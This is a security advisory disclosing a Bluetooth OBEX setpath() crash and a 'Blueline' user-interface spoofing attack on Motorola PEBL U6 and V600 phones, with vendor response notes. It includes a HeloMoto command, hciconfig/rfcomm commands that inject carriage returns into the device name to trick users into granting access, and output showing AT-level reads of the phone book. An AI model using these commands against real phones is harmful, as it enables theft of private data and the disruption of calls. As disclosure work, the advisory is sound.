DMA[2006-0321a] - 'Motorola P2K Platform setpath() overflow and Blueline attack'

DMA[2006-0321a] - 'Motorola P2K Platform setpath() overflow and Blueline attack'
Author: Kevin Finisterre
Product: 'Motorola PEBL U6, Motorola V600, other Motorola P2k based phones?'

Motorola is known around the world for innovation and leadership in wireless and broadband
communications. Inspired by a vision of Seamless Mobility, the people of Motorola are
committed to helping you get and stay connected simply and seamlessly.

Recently I had the pleasure of experiencing 2 of Morotola's phones, the PEBL U6 and the V600.
Radiating mystery and intrigue, the understated elegance of the Motorola PEBL elevates mobile
design to a new level. And with its stunning looks and killer functionality, the Motorola V600
cellular phone is a sleek statement of sophistication and intelligence for mobile trendsetters
who demand the very best.

Each of the phones has exhibited interesting behavior with regard to Bluetooth functionality.
The PEBL handset for example is subject to a post-authentication Buffer Overflow via OBEX
File Transfer. Both phones are also vulnerable to a pre-authentication user interface spoofing
issue. This document seeks to inform Motorola users about the issues at hand and to describe
both issues in detail.

Based on internal markings, my Motorola PEBL is a model U6 (G8/9/18/19) S/W 08.83.76R. It was
purchased from a T-Mobile store in Columbus, Ohio (USA) on 2/10/2006.

The following file transfer service is available on channel 9 of my PEBL:

Service Name: OBEX File Transfer
Service Description: OBEX File Transfer
Service Provider: T-Mobile
Service RecHandle: 0x10009
Service Class ID List:
"OBEX File Transfer" (0x1106)
Protocol Descriptor List:
"L2CAP" (0x0100)
"RFCOMM" (0x0003)
Channel: 9
"OBEX" (0x0008)
Language Base Attr List:
code_ISO639: 0x656e
encoding: 0x6a
base_offset: 0x100
code_ISO639: 0x6672
encoding: 0x6a
base_offset: 0xc800
code_ISO639: 0x6573
encoding: 0x6a
base_offset: 0xc803
code_ISO639: 0x7074
encoding: 0x6a
base_offset: 0xc806
Profile Descriptor List:
"OBEX File Transfer" (0x1106)
Version: 0x0100

After pairing with the phone an attacker can send a long OBEX setpath() and completely crash
the handset. The user interface will go completely unresponsive and any active calls will be
dropped. After about 15 to 20 seconds the device completely turns off. The user must push the
power button in order to use the device further. Code execution may be possible however the
debugging capabilities on the PEBL are minimal. Access to Motorola debugging tools may provide
further information about the possibility of code execution.

A proof of concept java .class was created to trigger the issue. The PoC requires the Avetana
Bluetooth Stack demo avetanaBluetooth.jar and a java compiler. Please note that it is also
necessary to pair with the device prior to connecting to the FTP service.

k-fs-ibook:~/Desktop kf$ javac
k-fs-ibook:~/Desktop kf$ java PEBL-p00py
avetanaBluetooth version 1.3.4
Local name K F?s iBook
Local address 11-22-33-44-55-66
Device class 102104
License valid until 24.02.06
Possibilities array 3F
License-ID 2217
connected Connection closed (The phone is now dead at this point)

The next issue involves a bit of social engineering complements of the Motorola Bluetooth
user interface. The PEBL (and the V600?) offers 2 voice gateways, one requires pairing
and one does not. The "Headset Audio Gateway" on channel 3 does not require pairing before
a connection can be made. Because of this an attacker main gain extra access to the phone
if a user can be convinced to press "Grant".

Keep in mind that if the attackers phone has not yet been added to the "Device History" list
it will be unable to connect to channel 3. A simple HeloMoto attack on port 8 will help
eliminate this requirement however.

# ./helomoto plant 00:15:A8:74:87:3E 8

You can find more information about Helo moto in the following locations.

The following profile ultimately allows the UI spoofing to occur.

Service Name: Voice Gateway
Service Description: Headset Audio Gateway
Service Provider: T-Mobile
Service RecHandle: 0x10003
Service Class ID List:
"Headset Audio Gateway" (0x1112)
"Generic Audio" (0x1203)
Protocol Descriptor List:
"L2CAP" (0x0100)
"RFCOMM" (0x0003)
Channel: 3
Language Base Attr List:
code_ISO639: 0x656e
encoding: 0x6a
base_offset: 0x100
code_ISO639: 0x6672
encoding: 0x6a
base_offset: 0xc800
code_ISO639: 0x6573
encoding: 0x6a
base_offset: 0xc803
code_ISO639: 0x7074
encoding: 0x6a
base_offset: 0xc806
Profile Descriptor List:
"Headset" (0x1108)
Version: 0x0100

Please note that this profile does require that the user accept an inbound connection. The
following message pops up under normal circumstances when channel 3 is contacted:

Remote Bluetooth Device Name
Requests Voice Gateway?
(Grant or Deny)

Although the user if prompted for the connection I have found that the user interface will
respond interestingly to the 0x0d character. With a bit of creativity we can perhaps trick
a user into accepting our connection request.

# hciconfig hci0 name `echo -e "A\x0dB\x0dC\x0dD\x0dE\x0dF\x0dG"`
# rfcomm connect 0 00:15:A8:74:87:3E 3

The above command will result in the following message being displayed on screen:

F ...
(Grant or Deny)

Six new line characters seem to be enough to push the factory default message off of the
screen of the handset. We can obviously be more creative...

# hciconfig hci0 name `perl -e 'print "Press\x0dgrant\x0dto\x0ddisable\x0dmute\x0d\x0d"'`
# rfcomm connect 0 00:15:A8:74:87:3E 3 (wait for user to press grant)
Connected /dev/rfcomm0 to 00:15:A8:74:87:3E on channel 3
Press CTRL-C for hangup

On the Motorola handset we get

(Grant or Deny)

An actual screen shot from the phone during an attack can be found here:

Once connected to the Audio Gateway the attacker will have AT level access to the phone.
Access to personal information such as Phone book entries and SMS data are up for grabs
at this point.

Connected /dev/rfcomm0 to 00:15:A8:74:87:3E on channel 3
Press CTRL-C for hangup

+GMI: "Motorola CE, Copyright 2000"
+GMM: "GSM900","GSM1800","GSM1900","GSM850","MODEL=PEBL U6"
+GMR: "R478_G_08.83.76R"
+CPMS: 14,254
+CPBR: 1,"13133742069",129,"Stroke - milw0rm"

Since 0x0d is commonly used as a newline character I am going to label this a "Blueline"
attack (I am a hockey fan what can I say).

The Motorola V600 also appears to be vulnerable to this attack. Like the PEBL the attacker
must first be in the phones "Device History" or the phone must first be exploited via the
HeloMoto attack. RAZRv3 also exhibited similar UI behavior however other factors did not
make it immediately viable for an attack scenario. (Thanks Marcel and Adam). As a final
side note it is worth mentioning that Tonu Samuel (tonu@xxxxxx) has also confirmed similar
issues on the Motorola E398 handset.

Work Around:
The following statements are paraphrased from a collection of email communications between
myself and Motorola.

Motorola is committed to providing the best consumer experience possible and software
performance is key to enabling that. At this point the fixes for both issues have been
incorporated into software for future phone production. While it is possible to update
the software on Motorola phones, they do not currently have a mechanism to make the new
software available to consumers with existing phones.

Both issues have been identified via Motorola internal testing and Motorola has developed
fixes for these issue which they are incorporating into their phone software moving forward.

Motorola evaluates the need for providing patches to existing phones on a case by case
basis, by working with their partners in the marketplace. If there is a clear need for
updates to existing phones, they will take appropriate action.

Consumer satisfaction is the top priority for Motorola so they do what is necessary to
ensure that they deliver a quality experience. To that end, Motorola has been focusing on
prevention/ education, not just providing a cure. Motorola is really interested in helping
consumers learn how to use Bluetooth technology safely... helping educate them on the
simple things they can do (like not making their phones discoverable in public) to make
their Bluetooth use safer.

Special thanks to:
Alan Buddendeck, Natanya Ray and Greg Muchnik of Motorola for helping with these issues.
The of course!

It is the authors view that other phones may be vulnerable to the "Blueline" attack, a
comprehensive list of vulnerable phones and manufacturers will be published once it has
been identified.